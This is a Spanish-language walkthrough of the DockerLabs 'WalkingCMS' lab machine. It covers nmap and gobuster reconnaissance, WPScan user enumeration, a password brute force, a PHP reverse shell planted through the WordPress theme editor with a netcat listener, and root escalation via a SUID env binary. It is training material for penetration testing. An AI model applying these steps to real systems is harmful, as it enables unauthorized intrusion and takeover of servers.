> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/walkingcms.md).

# WalkingCMS

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **WalkingCMS** y pulsamos el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `walkingcms.zip`:

```bash
7z x walkingcms.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Ffl63ASYWGJ3ciRg5GzsU%2FPasted%20image%2020250805150529.png?alt=media&amp;token=340e9e8d-4177-4b73-a1d6-0b575169f30e" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `walkingcms.tar`:

```bash
bash auto_deploy.sh walkingcms.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FMXlBuWHKm0d23DCx19Aw%2FPasted%20image%2020250805150640.png?alt=media&amp;token=151e9967-b69e-48e0-885a-6ab6d5191175" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FV7dSjyubJJljwexVcI6G%2FPasted%20image%2020250805150745.png?alt=media&amp;token=9030e691-1aee-4c44-b1a9-2159698f6cfa" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos TCP del rango 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato Grepable en el archivo `allPorts`.

**Puerto abierto identificado:**

* **Puerto 80:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FlvUAaRUbgsZXOslXw9gL%2FPasted%20image%2020250805150844.png?alt=media&amp;token=b3925319-a60a-4c62-a090-d4cced65cfaa" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Realizamos un escaneo más exhaustivo para obtener información adicional sobre el puerto abierto:

```bash
nmap -p80 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p80`: Especifica el puerto a escanear.
* `-sCV`: Combina el escaneo de versiones (`-sV`) con la ejecución de scripts básicos de reconocimiento (`-sC`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.

**Resultado del escaneo:**

* **Puerto 80:** Servicio identificado como `Apache httpd 2.4.57`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FIBLbroA1alW8NM5tr6bz%2FPasted%20image%2020250805150933.png?alt=media&amp;token=f6534835-9f32-4799-8fdb-a3c1031f5885" alt=""><figcaption></figcaption></figure>

#### **2.4. Análisis del servicio web**

Al acceder al puerto 80 a través del navegador (`http://172.17.0.2/`), encontramos la página por defecto de Apache, que no proporciona información útil para la explotación.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FXePnHutRkTtbbXxNMmde%2FPasted%20image%2020250805151009.png?alt=media&amp;token=b4cd8ccb-615e-4d76-bfc8-7a1993ca8ba4" alt=""><figcaption></figcaption></figure>

#### **2.4.1. Enumeración de directorios y archivos**

Realizamos una enumeración de directorios y archivos ocultos en el servidor web utilizando `gobuster`:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php
```

**Resultado destacado:**

* Detectamos el directorio `/wordpress`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F4cR9sScAA1zzl4rfauhr%2FPasted%20image%2020250805151155.png?alt=media&amp;token=fd801bd0-a961-47d2-85fd-2d52f7933462" alt=""><figcaption></figcaption></figure>

Al acceder a `http://172.17.0.2/wordpress/`, confirmamos que el sitio está desarrollado con WordPress.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FniHUE3NPHYyqHE3DcyFL%2FPasted%20image%2020250805151301.png?alt=media&amp;token=4913bf10-7327-40ce-aff3-09e5b985fd5d" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Enumeración de usuarios con WPScan**

Enumeramos los usuarios válidos de WordPress utilizando `wpscan` dentro de un contenedor en Docker:

```bash
docker run --rm wpscanteam/wpscan --url http://172.17.0.2/wordpress/ --enumerate u
```

**Resultado:**

* **Identificamos un usuario válido:** `mario`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FMV24ASifXcjBzMA5e0hB%2FPasted%20image%2020250805151508.png?alt=media&amp;token=4167cef9-8756-427a-8fdf-8acaf47db57e" alt=""><figcaption></figcaption></figure>

#### **3.2. Fuerza bruta de contraseñas**

Realizamos un ataque de fuerza bruta para descubrir la contraseña asociada al usuario `mario`, utilizando `wpscan` dentro de un contenedor en Docker:

```bash
docker run --rm -v /usr/share/wordlists/seclists/Passwords:/usr/share/wordlists/seclists/Passwords wpscanteam/wpscan --url http://172.17.0.2/wordpress/ --usernames mario --passwords /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-dup.txt
```

**Resultado:**

* **Credenciales válidas obtenidas:** `mario:love`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FJbxs52VY2wYr34cExYHq%2FPasted%20image%2020250805151623.png?alt=media&amp;token=aab48135-7a2b-4b12-99b1-a5e9f2f0cdd4" alt=""><figcaption></figcaption></figure>

#### **3.3. Acceso al panel de administración**

Accedemos a la ruta `http://172.17.0.2/wordpress/wp-admin`, la cual nos redirige automáticamente a la página de inicio de sesión: `http://172.17.0.2/wordpress/wp-login.php?redirect_to=http%3A%2F%2F172.17.0.2%2Fwordpress%2Fwp-admin%2F&reauth=1`.

Utilizamos las credenciales obtenidas previamente mediante fuerza bruta (`mario:love`) y logramos iniciar sesión exitosamente en el panel de administración de WordPress.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F2We6UeIeUnf5Bpwh41zj%2FPasted%20image%2020250805151724.png?alt=media&amp;token=58ff3206-5ffb-4ab3-a2ad-a56fbe6e4661" alt=""><figcaption></figcaption></figure>

#### **3.4. Subida de reverse shell en PHP**

Nos dirigimos al **Editor de temas** (Theme Editor) para modificar los archivos del tema activo.

Creamos un archivo llamado `1.php` e insertamos en él una [reverse shell en PHP](https://www.revshells.com/), diseñada para establecer una conexión remota con nuestro equipo atacante.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FQFPyypfubJTKdh3Vijjw%2FPasted%20image%2020250805151948.png?alt=media&amp;token=192e495f-0391-475d-8084-1563e2ae5eb5" alt=""><figcaption></figcaption></figure>

#### **3.5. Ejecución de la reverse shell**

Configuramos nuestro equipo atacante para escuchar en el puerto especificado en la reverse shell, utilizando `netcat`:

```bash
nc -lvnp 1234
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FvgFCAEQ1AiIiZnSP5Bor%2FPasted%20image%2020250805152017.png?alt=media&amp;token=942ecb7f-113a-4282-973d-9ec4679a46e3" alt=""><figcaption></figcaption></figure>

A continuación, accedemos al archivo malicioso en `http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/1.php`, lo que activa la reverse shell previamente cargada.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FFBtcqiAKXfpAQ3K9s45J%2FPasted%20image%2020250805152218.png?alt=media&amp;token=e3c1392c-d9cc-43be-91b4-5ff40aabfefe" alt=""><figcaption></figcaption></figure>

Como resultado, obtenemos acceso remoto al sistema con los privilegios del usuario `www-data`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fr6EpPKJxj1Ps5d2o2fEx%2FPasted%20image%2020250805152230.png?alt=media&amp;token=50f8bdd2-edbd-4058-a4a5-3b5bcea24b0d" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Búsqueda de binarios SUID**

Buscamos binarios con permisos SUID que puedan ser explotados:

```bash
find / -perm -4000 2>/dev/null
```

**Resultado relevante:**

* `/usr/bin/env`: Binario con permisos SUID.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F3vSqV3290d5lFOJMDbH4%2FPasted%20image%2020250805152518.png?alt=media&amp;token=23c7c3ef-b58e-470d-bc5e-a51aea218b93" alt=""><figcaption></figcaption></figure>

#### **4.2. Explotación con GTFOBins**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/env/) para encontrar un método de explotación.

Ejecutamos el siguiente comando para escalar privilegios:

```bash
/usr/bin/env /bin/bash -p
```

Confirmamos que ahora somos el usuario `root`, completando con éxito la escalada de privilegios.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fi1xpUH8ebU3FuJB16SII%2FPasted%20image%2020250805152500.png?alt=media&amp;token=ffa05b43-76a0-4da0-93cb-395224e103e7" alt=""><figcaption></figcaption></figure>
